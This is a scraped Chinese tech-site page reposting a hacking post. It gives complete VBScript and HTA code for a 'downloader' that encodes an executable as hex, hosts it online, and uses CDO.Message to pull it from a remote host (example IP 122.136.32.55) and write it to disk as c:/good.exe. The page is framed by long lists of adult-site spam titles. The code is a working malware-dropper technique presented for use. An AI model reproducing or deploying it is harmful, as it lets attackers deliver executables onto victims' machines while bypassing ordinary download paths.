亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

最新版利用CDO.Message做的vbs下載者

2020-06-26 18:17:07
字體:
來源:轉載
供稿:網友
vbs下載者有很多了,我這里是一個偉大的發明,利用CDO.Message做的vbs下載者。偉大是裝B的意思。
 

vbs下載者有很多了,我這里是一個偉大的發明,利用CDO.Message做的vbs下載者。偉大是裝B的意思。 
NP先把代碼寫完了,詳情看這里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html 

LCX大哥在寫他的BLOG備份腳本時發現 CDO.MESSAGE可以訪問網絡下載東西,說是研究研究或許可以用來當下載者用。 
于是研究了一會。寫出個粗糙的DEMO。 
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉成十六進制 
================================================ 

復制代碼代碼如下:

'code by xiaolu 
'change by NetPatch 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
do while 1 
fname=arg(0) 
err.number=0 
Set Ado = CreateObject("adodb.stream") 
With Ado 
.Type = 1 
.open 
.loadfromfile fname 
ss = .read 
End With 
if err.number<>0 then 
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit 
else 
exit do 
end if 
loop 
if fname="" then Wscript.quit 
Set Fso=CreateObject("Scripting.FileSystemObject") 
Set File=fso.OpenTextFile(arg(0)&".htm",2, True) 
File.write Bin2Str(ss) 
File.close 
Set fso=nothing 
Ado.close 
set Abo=nothing 
Function Bin2Str(Re) 
For i = 1 To lenB(Re) 
bt = AscB(MidB(Re, i, 1)) 
if bt < 16 Then Bin2Str=Bin2Str&"0" 
Bin2Str=Bin2Str & Hex(bt) 
Next 
End Function 

====================================== 
下載者 down.vbs 
============= 
復制代碼代碼如下:

on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
'code by NetPatch 
'cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody arg(0),31 
ss= Mail1.HTMLBody 
Set Mail1 = Nothing 
Set RS=CreateObject("ADODB.Recordset") 
L=Len(ss)/2 
RS.Fields.Append "m",205,L 
RS.Open:RS.AddNew 
RS("m")=ss&ChrB(0) 
RS.Update 
ss=RS("m").GetChunk(L) 
Set s=CreateObject("ADODB.Stream") 
with s 
.Mode = 3 
.Type = 1 
.Open() 
.Write ss 
.SaveToFile arg(1),2 
end with 

================================== 
demo.htm內容時用exe2hex.vbs轉EXE后獲得的 
使用方法: 
1.exe2hex.vbs 把exe轉成十六進制,放到網絡上 
2.down.vbs http://xxx/demo.htm c:/good.exe 


由于NP寫的不知什么原因,在我機器上執行后生成的exe,進程不會自動退出,我重新更新一下。 
=======用下面這個hta文件來轉exe變成16進制的html保存了。這樣也會方便一點。======= 
復制代碼代碼如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<head> 
<title>package file v0.1</title> 
<meta http-equiv="Content-Type" content="text/html; charset=GB2312"> 
<HTA:APPLICATION 
ID="package file v0.1" 
APPLICATIONNAME="package file v0.1" 
VERSION="0.1" 
SCROLL="no" 
INNERBORDER="no" 
CONTEXTMENU="yes" 
CAPTION="yes" 
ICON="no" 
SHOWINTASKBAR="yes" 
SINGLEINSTANCE="yes" 
SYSMENU="yes" 
MAXIMIZEBUTTON ="no" 
WINDOWSTATE="normal" 
NAVIGABLE="yes" 
/> 
<SCRIPT LANGUAGE="VBScript"> 
function transfert() 
dim filename 
filename = document.getElementById("srcFile").value 
if len(filename)>0 then 
dim oReq 
'on error resume next 
'//創建XMLHTTP對象 
set oReq = CreateObject("MSXML2.XMLHTTP") 
oReq.open "get","file://" & filename,false 
oReq.send 
ff = oReq.responseBody 
dim u,s,kk 
u = lenb(ff) 
redim kk(u-1) 
for i=0 to u-1 
s = hex(ascb(midb(ff,i+1,1))) 
if len(s)<2 then 
s = "0" & s 
end if 
'kk = kk & s 
kk(i) = s 
next 
make filename,join(kk,"") 
else 
document.getElementById("srcFile").focus 
msgbox "請選擇要壓縮的文件",16,"提示" 
end if 
end function 
function make(filename,data) 
dim htm,file 
file = mid(filename,instrrev(filename,"/")+1) 
htm = htm & data 
dim fso,f 
dim this_file 
this_file = file & "-pf.htm" 
Set fso = CreateObject("Scripting.FileSystemObject") 
Set f = fso.OpenTextFile(this_file, 2, True) 
f.Write htm 
msgbox "生成文件" & this_file & "成功!",64,"生成" 
end function 
</SCRIPT> 
</head> 
<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 "> 
請選擇文件:<input type=file id="srcFile" style="width:260px;"><br><br> 
<input type=button value=" 轉換 " onclick="transfert"> <input type=button value=" 關閉 " onclick="window.close"> 
</body> 
</html> 

=====================再用下面這個vbs腳本來下載,把hta生成的htm放到空間上,用NP寫的那個下載生成的htm也可以,代碼更少========= 
復制代碼代碼如下:

'//保存文件 
function saveFile(filename,str) 
set adodbStream = CreateObject("ADODB" & "." & "Stream") 
adodbStream.Type= 1 
adodbStream.Open 
adodbStream.write str 
adodbStream.SaveToFile filename,2 
adodbStream.Close 
end function 
'//VB數組轉變成二進制格式 
Function MultiByteToBinary(MultiByte) 
Dim RS, LMultiByte, Binary 
Const adLongVarBinary = 205 
Set RS = CreateObject("ADODB.Recordset") 
LMultiByte = LenB(MultiByte) 
If LMultiByte>0 Then 
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte 
RS.Open 
RS.AddNew 
RS("mBinary").AppendChunk MultiByte & ChrB(0) 
RS.Update 
Binary = RS("mBinary").GetChunk(LMultiByte) 
End If 
MultiByteToBinary = Binary 
End Function 

function exec() 
'//屏蔽錯誤 
on error resume Next 
Set args = WScript.Arguments 
if args.Count = 0 then 
WScript.Echo "Usage: CScript down.vbs url c:/1.exe" 
WScript.Quit 1 
end If 
dim data,t,kk,filename,ss 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody args.Item(0) ,31 
'Mail1.CreateMHTMLBody "c:/xxx/lcx.exe-pf.htm",31 
ss= Mail1.HTMLBody 
Set Mail1=nothing 

'//得到數據 
data = ss 
'//得到文件名 
filename = args.Item(1) 
'//得到數據長度 
u = len(data) 
'//獲得文件數組 
for i=1 to u step 2 
t = mid(data,i,2) 
kk = kk & ChrB(clng("&H" & t)) 
next 
'//轉變成二進制格式 
dataArry = MultiByteToBinary(kk) 
'//保存文件 
saveFile filename,dataArry 

end function 
exec() 
 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
色悠悠国产精品| 久久视频中文字幕| 亚洲免费成人av电影| 欧美综合一区第一页| 久久久国产精品免费| 国产精品久久综合av爱欲tv| 亚洲四色影视在线观看| 中文字幕亚洲欧美日韩在线不卡| 人体精品一二三区| 日韩在线观看视频免费| 国产亚洲欧洲高清一区| 国产一区深夜福利| 亚洲视频综合网| 久久精品视频va| 日韩免费看的电影电视剧大全| 中日韩午夜理伦电影免费| 欧美怡红院视频一区二区三区| 国模精品一区二区三区色天香| 亚洲激情在线视频| 亚洲精品一区二区三区不| 国产综合香蕉五月婷在线| 欧美日韩国产综合新一区| 久久天天躁狠狠躁夜夜爽蜜月| 欧美激情18p| 欧美一性一乱一交一视频| 中文字幕亚洲专区| 国产精品久久久久久久av大片| 国产z一区二区三区| 亚洲欧洲激情在线| 91免费视频网站| 伊人av综合网| 国产亚洲人成a一在线v站| 日韩美女毛茸茸| 日韩精品中文字幕久久臀| 久久人91精品久久久久久不卡| 欧美多人乱p欧美4p久久| 欧美另类高清videos| 91情侣偷在线精品国产| 欧美性色视频在线| 国产精品白嫩美女在线观看| 久久精品国产99国产精品澳门| 欧美激情国产精品| 在线播放国产精品| 正在播放国产一区| 国产精品一区二区久久| 国产精品久久久久一区二区| 亚洲成人av资源网| 精品国产一区二区在线| 日韩欧美福利视频| 日韩免费av在线| 久久精品国产精品| 欧美成人精品在线| 精品久久久久人成| 成人免费xxxxx在线观看| 欧美精品久久久久久久久| 久久久精品美女| 欧美精品激情在线| 亚洲视频专区在线| 欧美孕妇孕交黑巨大网站| **欧美日韩vr在线| 国产综合香蕉五月婷在线| 亚洲精品国偷自产在线99热| 亚洲a∨日韩av高清在线观看| 国产欧美一区二区三区久久人妖| 欧美三级xxx| 97精品一区二区视频在线观看| 日本精品va在线观看| 亚洲深夜福利视频| 日韩最新免费不卡| 国产在线高清精品| 日韩成人在线电影网| 亚洲美女喷白浆| 国产精品美女主播在线观看纯欲| 精品国产欧美一区二区三区成人| www.久久色.com| 国产欧美va欧美va香蕉在线| 亚洲石原莉奈一区二区在线观看| 日韩电影中文 亚洲精品乱码| 成人激情春色网| 蜜臀久久99精品久久久无需会员| 日韩在线观看免费网站| 欧美激情一二三| 成人写真视频福利网| 精品国产电影一区| 色在人av网站天堂精品| 色婷婷综合成人| 欧美精品国产精品日韩精品| 久久精彩免费视频| 欧美激情综合色| 国产综合久久久久| 高清一区二区三区日本久| 91天堂在线视频| 精品国产一区二区三区四区在线观看| 久久精品成人欧美大片古装| 色诱女教师一区二区三区| 亚洲人成电影网站色| 国产色婷婷国产综合在线理论片a| 精品成人乱色一区二区| 在线观看日韩www视频免费| 亚洲精品黄网在线观看| 亚洲免费高清视频| 中文字幕日韩av| 精品视频偷偷看在线观看| 精品亚洲一区二区三区四区五区| 国产精品国语对白| 亚洲电影在线看| 亚洲精品美女久久久| 成人精品久久一区二区三区| 久久九九全国免费精品观看| 亚洲成人久久久| 欧美精品videos| 欧美大片免费观看在线观看网站推荐| 亚洲一区二区精品| 亚洲人永久免费| 色狠狠av一区二区三区香蕉蜜桃| 精品五月天久久| 美女999久久久精品视频| 亚洲一区国产精品| 亚洲一区二区三区在线免费观看| 欧美激情视频网| 国产z一区二区三区| 国产午夜精品久久久| 国产成一区二区| 亚洲欧美国产日韩天堂区| 91精品国产91| 亚洲欧美自拍一区| 日韩在线免费观看视频| 久久久久国产精品免费网站| 久热国产精品视频| 国产亚洲美女久久| 欧美日韩激情网| 国产v综合v亚洲欧美久久| 久久精品国产一区| 日韩在线一区二区三区免费视频| 亚洲成人久久网| 亚洲free嫩bbb| 欧美限制级电影在线观看| 亚洲欧洲在线免费| 亚洲精品ady| 亚洲精品欧美日韩专区| 欧美激情一区二区三区高清视频| 国产精品网站大全| 国产欧美亚洲视频| 精品国产福利视频| 亚洲va久久久噜噜噜久久天堂| 国内精品久久久久伊人av| 欧美三级欧美成人高清www| 懂色aⅴ精品一区二区三区蜜月| 97婷婷大伊香蕉精品视频| 欧美日韩一区二区精品| 日韩在线观看av| 亚洲第一中文字幕| 国产欧美婷婷中文| 精品亚洲永久免费精品| 成人精品视频99在线观看免费| 亚洲qvod图片区电影| 亚洲欧洲一区二区三区久久| 国产www精品| 精品人伦一区二区三区蜜桃免费| 亚洲国产小视频在线观看| 91av在线播放| 欧美色道久久88综合亚洲精品| 国产精品伦子伦免费视频| 欧美肥老妇视频|